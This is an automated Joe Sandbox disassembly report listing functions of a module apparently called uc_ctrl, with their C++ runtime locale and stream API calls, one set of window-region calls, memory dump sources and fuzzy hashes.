                                                                                              Function 6CEF0F20 Relevance: 7.6, APIs: 5, Instructions: 64COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_GS.LIBCMT ref: 6CEF0F27
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000003C), ref: 6CEF0F4A
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                              • ?_Getifld@?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@ABAHPADAAV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@1HABVlocale@2@@Z.MSVCP140(?,?,?,?,?,00000000,00000000), ref: 6CEF0F68
                                                                                                • Part of subcall function 6CEF5CD0: __EH_prolog3_GS.LIBCMT ref: 6CEF5CDA
                                                                                              • _Stoullx.MSVCP140(?,?,00000000), ref: 6CEF0F79
                                                                                                • Part of subcall function 6CEDE7E0: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?), ref: 6CEDE805
                                                                                                • Part of subcall function 6CEDE7E0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000010), ref: 6CEDE8A6
                                                                                                • Part of subcall function 6CEDE7E0: memchr.VCRUNTIME140(0123456789abcdefghijklmnopqrstuvwxyz,00000000), ref: 6CEDE8B8
                                                                                                • Part of subcall function 6CEDE7E0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,00000010,?,?,?,00000000), ref: 6CEDE90A
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CEF0F8C
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: H_prolog3_U?$char_traits@V?$istreambuf_iterator@tolower$?getloc@ios_base@std@@G@std@@@2@1G@std@@@std@@@std@@Getifld@?$num_get@StoullxVlocale@2@Vlocale@2@@isspacememchrstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 1569883386-0
                                                                                              • Opcode ID: dc29d2a8509616855e69a2c4fdfe22642d1d3010c2d7da5ecdfa320611f07526
                                                                                              • Instruction ID: 5963d56cd0de91d84ef5222764d57ae28dc62d5fdc87e21fb9e1ef8fb385fe76
                                                                                              • Opcode Fuzzy Hash: dc29d2a8509616855e69a2c4fdfe22642d1d3010c2d7da5ecdfa320611f07526
                                                                                              • Instruction Fuzzy Hash: A1213D72901209EFDB05DF94D991ADDB7B8FF08318F24415AF815A7340EB709A05CBA0
                                                                                              Function 6CF06C40 Relevance: 7.6, APIs: 5, Instructions: 62COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF06C47
                                                                                                • Part of subcall function 6CEE7C64: __EH_prolog3.LIBCMT ref: 6CEE7C6B
                                                                                                • Part of subcall function 6CEE7C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6CEE7BA3,?,?,?,?,?,?,0000000C,6CEE7B7C,?,6CEE4238,?,337D7743,?,6CF0BDA0), ref: 6CEE7CB7
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,0000002C), ref: 6CF06C77
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEEB058: __EH_prolog3.LIBCMT ref: 6CEEB05F
                                                                                                • Part of subcall function 6CEEB058: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEE800B,0000000C,6CEE8148,?,0000003F,?,00000000,0000003C,6CEE1A8E,?,?,?,00000004), ref: 6CEEB06A
                                                                                                • Part of subcall function 6CEEB058: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEEB082
                                                                                                • Part of subcall function 6CEEB058: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEEB0E6
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CF06C8D
                                                                                              • ?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WO@Z.MSVCP140(?,00000000,?,00000002,?,?,?,00000002,00000002), ref: 6CF06CC0
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,?,0000002C), ref: 6CF06D0D
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 2951709258-0
                                                                                              • Opcode ID: d0137f72aa63aeb45b59a7b8ecf70c18617ed25f17cede1d934844d1d854282c
                                                                                              • Instruction ID: 516c499af69aa3d01039122ac46f94acbab86e9940ed984b66d0146e9b9456e1
                                                                                              • Opcode Fuzzy Hash: d0137f72aa63aeb45b59a7b8ecf70c18617ed25f17cede1d934844d1d854282c
                                                                                              • Instruction Fuzzy Hash: 1921C371A01248EFDB05DBA4C860BEDBFB4AF09708F24408DE580A7342C7755A49DB64
                                                                                              Function 6CF06D30 Relevance: 7.6, APIs: 5, Instructions: 62COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF06D37
                                                                                                • Part of subcall function 6CEE7C64: __EH_prolog3.LIBCMT ref: 6CEE7C6B
                                                                                                • Part of subcall function 6CEE7C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6CEE7BA3,?,?,?,?,?,?,0000000C,6CEE7B7C,?,6CEE4238,?,337D7743,?,6CF0BDA0), ref: 6CEE7CB7
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,0000002C), ref: 6CF06D67
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEEB058: __EH_prolog3.LIBCMT ref: 6CEEB05F
                                                                                                • Part of subcall function 6CEEB058: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEE800B,0000000C,6CEE8148,?,0000003F,?,00000000,0000003C,6CEE1A8E,?,?,?,00000004), ref: 6CEEB06A
                                                                                                • Part of subcall function 6CEEB058: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEEB082
                                                                                                • Part of subcall function 6CEEB058: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEEB0E6
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CF06D7D
                                                                                              • ?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WN@Z.MSVCP140(?,00000000,?,00000002,?,?,?,00000002,00000002), ref: 6CF06DB0
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,?,0000002C), ref: 6CF06DFD
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 2951709258-0
                                                                                              • Opcode ID: 76a4a67e47b9952c5ab3fc24c14bf9d26dfc7b11ec1e5246efaf39b69d12bfc6
                                                                                              • Instruction ID: f3659335a8e76d4243dc6c0b6fbcd3810241e1b238cd885c31d166b5299fdd32
                                                                                              • Opcode Fuzzy Hash: 76a4a67e47b9952c5ab3fc24c14bf9d26dfc7b11ec1e5246efaf39b69d12bfc6
                                                                                              • Instruction Fuzzy Hash: 3B21C371A01248EFDF05DBA4C860BEDBFB4AF19708F24408DE18067341C7755A4ADB64
                                                                                              Function 6CF06E20 Relevance: 7.6, APIs: 5, Instructions: 62COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF06E27
                                                                                                • Part of subcall function 6CEE7C64: __EH_prolog3.LIBCMT ref: 6CEE7C6B
                                                                                                • Part of subcall function 6CEE7C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6CEE7BA3,?,?,?,?,?,?,0000000C,6CEE7B7C,?,6CEE4238,?,337D7743,?,6CF0BDA0), ref: 6CEE7CB7
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,0000002C), ref: 6CF06E57
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEEB058: __EH_prolog3.LIBCMT ref: 6CEEB05F
                                                                                                • Part of subcall function 6CEEB058: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEE800B,0000000C,6CEE8148,?,0000003F,?,00000000,0000003C,6CEE1A8E,?,?,?,00000004), ref: 6CEEB06A
                                                                                                • Part of subcall function 6CEEB058: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEEB082
                                                                                                • Part of subcall function 6CEEB058: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEEB0E6
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CF06E6D
                                                                                              • ?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WN@Z.MSVCP140(?,00000000,?,00000002,?,?,?,00000002,00000002), ref: 6CF06EA0
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,?,0000002C), ref: 6CF06EED
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 2951709258-0
                                                                                              • Opcode ID: b396f28685c1626897569268d25b6de85ae79b4db5fce3992bfbe62324cce9f4
                                                                                              • Instruction ID: 392a77ae506f1d5c7f6156acbb8968f06e5b0137aa5dfb449b430f7368d3785f
                                                                                              • Opcode Fuzzy Hash: b396f28685c1626897569268d25b6de85ae79b4db5fce3992bfbe62324cce9f4
                                                                                              • Instruction Fuzzy Hash: 5B21C371A00248EFDB05DBA8C864BEDBFB4AF09708F24408DE14167341C7755A49DB64
                                                                                              Function 6CEF34F0 Relevance: 7.6, APIs: 5, Instructions: 62COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_GS.LIBCMT ref: 6CEF34F7
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000003C), ref: 6CEF351A
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                              • ?_Getifld@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAHPADAAV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@1HABVlocale@2@@Z.MSVCP140(?,?,?,?,?,00000000,00000000), ref: 6CEF3538
                                                                                                • Part of subcall function 6CEF7DE0: __EH_prolog3_GS.LIBCMT ref: 6CEF7DEA
                                                                                              • _Stoulx.MSVCP140(?,?,00000000), ref: 6CEF3549
                                                                                                • Part of subcall function 6CEDE660: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?), ref: 6CEDE683
                                                                                                • Part of subcall function 6CEDE660: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,00000010), ref: 6CEDE70F
                                                                                                • Part of subcall function 6CEDE660: memchr.VCRUNTIME140(0123456789abcdefghijklmnopqrstuvwxyz,00000000), ref: 6CEDE71D
                                                                                                • Part of subcall function 6CEDE660: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CEDE774
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CEF355A
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: H_prolog3_U?$char_traits@_V?$istreambuf_iterator@_$?getloc@ios_base@std@@Getifld@?$num_get@_StoulxVlocale@2@Vlocale@2@@W@std@@@2@1W@std@@@std@@@std@@_errnoisspacememchrstd::locale::localestd::locale::~localetolower
                                                                                              • String ID:
                                                                                              • API String ID: 2658666639-0
                                                                                              • Opcode ID: edeb72eeddb733551fd6b320c81b84c15bacc979776a31fec5d458bbce921011
                                                                                              • Instruction ID: 8866f3e546eeea734a5a594a20681ee78d6f0e7b7c43af12fa711763f03a6627
                                                                                              • Opcode Fuzzy Hash: edeb72eeddb733551fd6b320c81b84c15bacc979776a31fec5d458bbce921011
                                                                                              • Instruction Fuzzy Hash: C721ED7590120CEFCF15DF94D990AEEB7B8FF04318F50415AF915A7650D7309A15CB61
                                                                                              Function 6CFDEE0E Relevance: 7.6, APIs: 5, Instructions: 61COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_GS.LIBCMT ref: 6CFDEE15
                                                                                              • GetWindowRect.USER32(00000000,00000000), ref: 6CFDEE62
                                                                                              • CreateRoundRectRgn.GDI32(00000000,00000000,00000001,?,00000004,00000004), ref: 6CFDEE8C
                                                                                              • SetWindowRgn.USER32(00000000,?,00000000), ref: 6CFDEEA2
                                                                                              • SetWindowRgn.USER32(00000000,00000000,00000000), ref: 6CFDEEBA
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Window$Rect$CreateH_prolog3_Round
                                                                                              • String ID:
                                                                                              • API String ID: 2502471913-0
                                                                                              • Opcode ID: fa0ef2b72b197a89047ead73a5e07fb41e433605230d58243bc5d0d6f3bcb3fa
                                                                                              • Instruction ID: da283c21697ebbcca10fb6f69696b08e13fa4afc2f64d08fbdb1a8fa0df5dc3e
                                                                                              • Opcode Fuzzy Hash: fa0ef2b72b197a89047ead73a5e07fb41e433605230d58243bc5d0d6f3bcb3fa
                                                                                              • Instruction Fuzzy Hash: 2421ED75A0120AAFEF05DFA4C984AEDBB75FF08354F150129E50563650DB346D41CFA6
                                                                                              Function 6CF00CC0 Relevance: 7.6, APIs: 5, Instructions: 61COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF00CC7
                                                                                                • Part of subcall function 6CEE7C64: __EH_prolog3.LIBCMT ref: 6CEE7C6B
                                                                                                • Part of subcall function 6CEE7C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6CEE7BA3,?,?,?,?,?,?,0000000C,6CEE7B7C,?,6CEE4238,?,337D7743,?,6CF0BDA0), ref: 6CEE7CB7
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,00000028), ref: 6CF00CF7
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEF9C86: __EH_prolog3.LIBCMT ref: 6CEF9C8D
                                                                                                • Part of subcall function 6CEF9C86: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEEAF1,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6CEF9C98
                                                                                                • Part of subcall function 6CEF9C86: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEF9CB0
                                                                                                • Part of subcall function 6CEF9C86: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEF9D14
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CF00D0D
                                                                                              • ?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WN@Z.MSVCP140(?,?,?,00000002,?,00000002,00000002,?,?,?,?,?,?,?,?,00000028), ref: 6CF00D3C
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,00000028), ref: 6CF00D89
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 2951709258-0
                                                                                              • Opcode ID: acff63ba770a22b452341fee4d465b5fdf9fe9a9ceae9f998ae9c453ba386dbd
                                                                                              • Instruction ID: a945adae9e091c1aab875ac604f00ef5ff11b7880ce9e622381b289f6b5a3675
                                                                                              • Opcode Fuzzy Hash: acff63ba770a22b452341fee4d465b5fdf9fe9a9ceae9f998ae9c453ba386dbd
                                                                                              • Instruction Fuzzy Hash: D321B771A01144DFDB05DFA8C850BFDBBB5AF58708F24408DE14567381DB755A09DB60
                                                                                              Function 6CF05C80 Relevance: 7.6, APIs: 5, Instructions: 61COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF05C87
                                                                                                • Part of subcall function 6CEFFE8C: __EH_prolog3.LIBCMT ref: 6CEFFE93
                                                                                                • Part of subcall function 6CEFFE8C: ?_Ipfx@?$basic_istream@_WU?$char_traits@_W@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6CF04999,?,00000001,00000008), ref: 6CEFFEC8
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6CF05CB8
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEF9550: __EH_prolog3.LIBCMT ref: 6CEF9557
                                                                                                • Part of subcall function 6CEF9550: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEE5C0,?,?,00000000), ref: 6CEF9562
                                                                                                • Part of subcall function 6CEF9550: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000), ref: 6CEF957A
                                                                                                • Part of subcall function 6CEF9550: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,00000000), ref: 6CEF95DE
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CF05CCD
                                                                                              • ?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAAK@Z.MSVCP140(?,?,?,00000000,?,00000001,00000002,?,?), ref: 6CF05D0A
                                                                                              • ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6CF05D4D
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_W@std@@@std@@$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchIpfx@?$basic_istream@_Lockit@std@@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 350562734-0
                                                                                              • Opcode ID: b8cffb663c0df3e46f4400ab6cc67ccce2b2bc41bf9b46a3aad061d3926c0786
                                                                                              • Instruction ID: 9d3fac2730047ca10044ecce363784167b1ec673129c8c6ecf17f60dc23891ef
                                                                                              • Opcode Fuzzy Hash: b8cffb663c0df3e46f4400ab6cc67ccce2b2bc41bf9b46a3aad061d3926c0786
                                                                                              • Instruction Fuzzy Hash: D1216D35A01148EFCB02DFE4C854EEEBBB5AF48708F24405DE109A7342DB759A49DBA4
                                                                                              Function 6CF02C20 Relevance: 7.6, APIs: 5, Instructions: 61COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CF02C27
                                                                                                • Part of subcall function 6CEFFE3E: __EH_prolog3.LIBCMT ref: 6CEFFE45
                                                                                                • Part of subcall function 6CEFFE3E: ?_Ipfx@?$basic_istream@GU?$char_traits@G@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6CF01749,?,00000001,00000008), ref: 6CEFFE7A
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6CF02C58
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEF9BEB: __EH_prolog3.LIBCMT ref: 6CEF9BF2
                                                                                                • Part of subcall function 6CEF9BEB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEEAA0,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6CEF9BFD
                                                                                                • Part of subcall function 6CEF9BEB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEF9C15
                                                                                                • Part of subcall function 6CEF9BEB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEF9C79
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CF02C6D
